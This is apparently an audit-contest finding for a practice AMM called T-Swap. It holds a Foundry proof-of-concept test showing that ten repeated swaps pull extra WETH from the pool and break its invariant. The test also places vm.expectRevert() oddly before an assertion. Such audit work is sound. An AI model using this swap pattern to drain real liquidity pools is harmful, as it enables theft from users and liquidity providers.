First Flight #18: T-Swap

```
function testInvariantBreaks() public {
    uint256 initialWETH = 50e18;
    uint256 initialPoolToken = 100e18;

    // Adding initial liquidity to the pool
    vm.startPrank(liquidityProvider);
    weth.approve(address(pool), type(uint256).max);
    poolToken.approve(address(pool), type(uint256).max);
    pool.deposit(initialWETH, initialPoolToken, initialPoolToken, uint64(block.timestamp));
    vm.stopPrank();

    uint256 outputWeth = 1e16;
    int256 startingY = int256(weth.balanceOf(address(pool)));
    // Negative because Y is taken away from the pool
    int256 expectedDeltaY;

    vm.startPrank(user);
    poolToken.approve(address(pool), type(uint256).max);

    // Swap token 10 times
    for (uint256 i = 1; i < 11; ++i) {
        pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
        expectedDeltaY = int256(-1) * int256(outputWeth) * int256(i);
    }

    uint256 endingY = weth.balanceOf(address(pool));

    int256 actualDeltaY = int256(endingY) - int256(startingY);

    // Pool has less token than it suppose to be because it transfer a free token to user every 10 swap
    vm.expectRevert();
    assertEq(actualDeltaY, expectedDeltaY);
}
```

This shows that the pool is imbalanced because additional tokens are transferred to the user, breaking the invariant.